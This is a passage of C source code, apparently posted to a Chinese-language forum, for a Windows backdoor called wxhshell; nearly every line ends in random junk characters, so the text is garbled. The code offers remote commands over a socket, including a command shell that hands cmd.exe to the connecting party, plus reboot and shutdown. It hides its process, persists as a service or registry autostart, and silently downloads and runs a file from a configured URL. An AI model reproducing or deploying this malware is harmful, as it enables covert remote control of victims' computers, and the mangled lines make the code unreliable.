  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a} fS2He  
  else 8gKR<X.G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }8]uZ)[p=  
  } z00:59M4  
  else { {%k;V ~  
/!uBk3x:  
    switch(cmd[0]) { r[4F?W  
  9: |K]y  
  // 帮助 $YQ&\[pDA  
  case '?': { O]LuL&=s y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S<9d^= a  
    break; l@F e(^5E  
  } umrI4.1c  
  // 安装 2o5< nGn  
  case 'i': { ?4?jG3p  
    if(Install()) RV*Zi\-X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PC7.+;1  
    else )Ua2x@j'C@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z4+6k-#):  
    break; p00Bgo  
    } Bw7:ry  
  // 卸载 s(9rBDoY(8  
  case 'r': { y#0Z[[I0  
    if(Uninstall()) ~u& O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m95$V&  
    else Q&'Nr3H#tZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qtwmTT)  
    break; _~q^YZ  
    } \$|UFx  
  // 显示 wxhshell 所在路径 ~:b~f]lO  
  case 'p': { C$;s+ALy[  
    char svExeFile[MAX_PATH]; !VTS $nJ4  
    strcpy(svExeFile,"\n\r"); s;f u  
      strcat(svExeFile,ExeFile); >-+X;0&  
        send(wsh,svExeFile,strlen(svExeFile),0); s1apHwJ -  
    break; ;-Dd\\)p  
    } S^n4aBm\+  
  // 重启 }4MG114j  
  case 'b': { sU!q~`; J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I}A#*iD  
    if(Boot(REBOOT)) C:EoUu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?qW|k6{O  
    else { hs uJ;4}$q  
    closesocket(wsh); Vta;ibdeqW  
    ExitThread(0); 5DUPsV  
    } df rr.i  
    break; ({b/J0 <@D  
    } rz7b%WY  
  // 关机 5h7DVr!  
  case 'd': { 3A1kH` X^q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mxp4YQl  
    if(Boot(SHUTDOWN)) x G"p .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NdQ?3'WJ  
    else { ]F-6KeBc  
    closesocket(wsh); 9'aR-tFun;  
    ExitThread(0); }}2hI`   
    } \$UU/\  
    break; },ZL8l{  
    } TrA Uu`?#  
  // 获取shell qz2d'OhmtH  
  case 's': { 7U0):11X#  
    CmdShell(wsh); u)MA#p {  
    closesocket(wsh); .lS6KBf@  
    ExitThread(0); 0zNS;wvv&  
    break; 4Lb<#e13R?  
  } >R-$JrU.=  
  // 退出 t!N >0]:mo  
  case 'x': { 39e oL;O_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M$A!  
    CloseIt(wsh); |(g2fByDf  
    break; u%'22q$  
    } +y#979A,  
  // 离开 Z28@yD +  
  case 'q': { [0@i,7{ZqE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KJSy7F  
    closesocket(wsh); qm_E/B  
    WSACleanup(); <O&s 'A[  
    exit(1); T^SOq:m&  
    break; gE(03SX  
        } K)Ka"H  
  } %LmB`DqZ  
  } AkC\CdmA  
pDfF'jt9  
  // 提示信息 4TV9t"Dk+c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =T6\kz9)`  
} @) wXP@7  
  } }c:0cl  
8t; nU;E*  
  return; 9r}} m0  
} b5C #xxIO  
ibL;99#  
// shell模块句柄 T]k@g_  
int CmdShell(SOCKET sock) r|8..Ll  
{ lPP7w`[PA  
STARTUPINFO si; Ok\UIi~  
ZeroMemory(&si,sizeof(si)); wEyh;ID3#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ::w%rv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kY&j~R[C  
PROCESS_INFORMATION ProcessInfo; !).d c.P  
char cmdline[]="cmd"; 5j %jhby?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SM?<woY=*  
  return 0; d7Z\  
} u]-$]zIH  
\!Pm^FD .  
// 自身启动模式 wvY$ s;  
int StartFromService(void) T8k oP  
{ &[xJfL  
typedef struct  VPzdT*g]  
{ ZgtOy|?|  
  DWORD ExitStatus; >d |W>|8e  
  DWORD PebBaseAddress; b9Nw98`  
  DWORD AffinityMask; w}?\Q,  
  DWORD BasePriority; u)ItML  
  ULONG UniqueProcessId; 57rP@,vj  
  ULONG InheritedFromUniqueProcessId; *{Vyt5  
}   PROCESS_BASIC_INFORMATION; A,@"(3  
HH+XEMP/g  
PROCNTQSIP NtQueryInformationProcess; {Gy_QRsp,  
1l{n`gR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &kGSxYDk%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (;0]V+-  
-)/>qFj )  
  HANDLE             hProcess; iZF{9@  
  PROCESS_BASIC_INFORMATION pbi; w@R-@ G  
W%x#ps5%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZO}*^  
  if(NULL == hInst ) return 0; 5NK:94&JE  
[ q}WS5Cp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7O j9~3o4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z;)% i f6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pw8'+FX  
a?dM8zAnc  
  if (!NtQueryInformationProcess) return 0; TM9>r :j'  
Fwtwf{9I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~Km8 -b(&  
  if(!hProcess) return 0; $vd._j&  
a&JAF?k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0nX5 $Kn  
%"tf`,d~3  
  CloseHandle(hProcess); gxiJ`. D=  
sz5@=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ! JN@4  
if(hProcess==NULL) return 0; D  UeT  
\% (R~ H  
HMODULE hMod; Wp ]u0w  
char procName[255]; UA^E^$f:  
unsigned long cbNeeded; 7G(X:!   
+!rK4[W'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nz8iU@!a  
[(1O_X(M  
  CloseHandle(hProcess); ;:OJQFu%4  
x:(e: I8x(  
if(strstr(procName,"services")) return 1; // 以服务启动 gDH x+"?  
K4KmoGb  
  return 0; // 注册表启动 "+Kr1nW  
} +oc}kv,h]  
Wr;)3K  
// 主模块 >2ct1_  
int StartWxhshell(LPSTR lpCmdLine) 5:6mptn>  
{ QP'* )gjO7  
  SOCKET wsl; (NP=5lLH  
BOOL val=TRUE; GIp?}tM  
  int port=0; n D?XP<9UU  
  struct sockaddr_in door; hd900LA}  
p"ZPv~("V  
  if(wscfg.ws_autoins) Install(); d7 @ N~<n  
$O[ut.   
port=atoi(lpCmdLine); w ^A0l.{  
6eb5q/  
if(port<=0) port=wscfg.ws_port; 7}xKiHh:  
3|C"F-'<  
  WSADATA data; K_xn>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CZ @M~Si_  
oR~+s &c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jRGG5w}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yy9Bd>  
  door.sin_family = AF_INET; SL(Q;_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |KA8qQI]%  
  door.sin_port = htons(port); .! &YO/  
YWTo]DJV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { McfSB(59  
closesocket(wsl); /g2 1.*Z  
return 1; 3.>jagu  
} <1ai0]  
HtMlSgx,8>  
  if(listen(wsl,2) == INVALID_SOCKET) { oY{*X6:6<  
closesocket(wsl); o)NWsUXf  
return 1; {KR/ TQ?A  
} Z-WWp#b  
  Wxhshell(wsl); q,2 @X~T  
  WSACleanup(); P9c1NX\-  
?[kO= hs  
return 0; A!NT 2YdHZ  
C~ >'pS6%5  
} ?p`}6s Q}  
E3`KO'v%  
// 以NT服务方式启动  d(k`Yk8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;$nK ^  
{ m^`X|xK-  
DWORD   status = 0; b*,R9  
  DWORD   specificError = 0xfffffff; Ros5]5=dP  
:yv!  x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JjM^\LwKkL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }3@`'i7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0<e7!M=U1  
  serviceStatus.dwWin32ExitCode     = 0; @NO&3m]  
  serviceStatus.dwServiceSpecificExitCode = 0; 7"M7N^  
  serviceStatus.dwCheckPoint       = 0; }L@YLnc%  
  serviceStatus.dwWaitHint       = 0; E_$ ST3  
BWd?a6nU}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -cG?lEh <  
  if (hServiceStatusHandle==0) return; F M`pPx  
z8A`BVqI  
status = GetLastError(); l.C {Ar  
  if (status!=NO_ERROR) O'(qeN<^w  
{ f3nib8B'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i2y?CI  
    serviceStatus.dwCheckPoint       = 0; w+}KX ><r  
    serviceStatus.dwWaitHint       = 0; _,vJ0{*  
    serviceStatus.dwWin32ExitCode     = status; 5"{wnnY%K}  
    serviceStatus.dwServiceSpecificExitCode = specificError; t#kmtJC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2-2'c?%  
    return; ? [ =P  
  } Oy z=|[^,W  
dNIY `u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fE7Kv_N-%  
  serviceStatus.dwCheckPoint       = 0; vG<Mz?wr  
  serviceStatus.dwWaitHint       = 0; Dt8eVWkN~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y8Mo.v  
} NAL%qQ  
5-n N8qs  
// 处理NT服务事件,比如:启动、停止 @w@rW }i0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wjpkh~ qo  
{ 7GKeqv  
switch(fdwControl) IWTD>c).  
{ DT_012 z  
case SERVICE_CONTROL_STOP: x!S8'  
  serviceStatus.dwWin32ExitCode = 0; 10*U2FY)]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rnj2Q!C2  
  serviceStatus.dwCheckPoint   = 0; 6Bs_" P[  
  serviceStatus.dwWaitHint     = 0; ci ,o'`Q  
  { W.>yIA%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !1|f,9C  
  } 6? 2/b`k  
  return; UGl}=hwKkG  
case SERVICE_CONTROL_PAUSE: E|#'u^`yv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'tF<7\!  
  break; \}Hk`n)Aq  
case SERVICE_CONTROL_CONTINUE: b@nbXm]Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S&@~F|  
  break; 6jom6/F 4  
case SERVICE_CONTROL_INTERROGATE: B,}%1+*  
  break; {?,:M  
}; (gz|6N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~bvx<:8*%  
} AlGD .K  
,v(G2`Z  
// 标准应用程序主函数 owQLAV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2Ask]  
{ -0lpsF  
O=ci"2!\-  
// 获取操作系统版本 ](^VEm}w;  
OsIsNt=GetOsVer(); MwXgaSV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yv,90+k  
,X+071.(  
  // 从命令行安装 c~@I1M  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?DM-C5$  
dDAdZxd  
  // 下载执行文件 cND2(< jx:  
if(wscfg.ws_downexe) { Wu%;{y~#}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r0?`t!% V  
  WinExec(wscfg.ws_filenam,SW_HIDE); PE+N5n2Tl  
} eF!c< Kcr  
;p1%KmK3  
if(!OsIsNt) { 0A\o8T.12  
// 如果时win9x,隐藏进程并且设置为注册表启动 (iH5F9WO  
HideProc(); vP? "MG  
StartWxhshell(lpCmdLine); BB=%tz`B  
} (eG#JVsm9  
else C'kd>LAGu  
  if(StartFromService()) l{vi{9n)  
  // 以服务方式启动 w ~Es,@  
  StartServiceCtrlDispatcher(DispatchTable); "0n to+v  
else a!4'}gHR  
  // 普通方式启动 SC"=M^E  
  StartWxhshell(lpCmdLine); qDOx5.d  
oQFpIX;\m  
return 0; PJ9JRG7j  
}
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只看该作者 1 发表于: 2006-10-10
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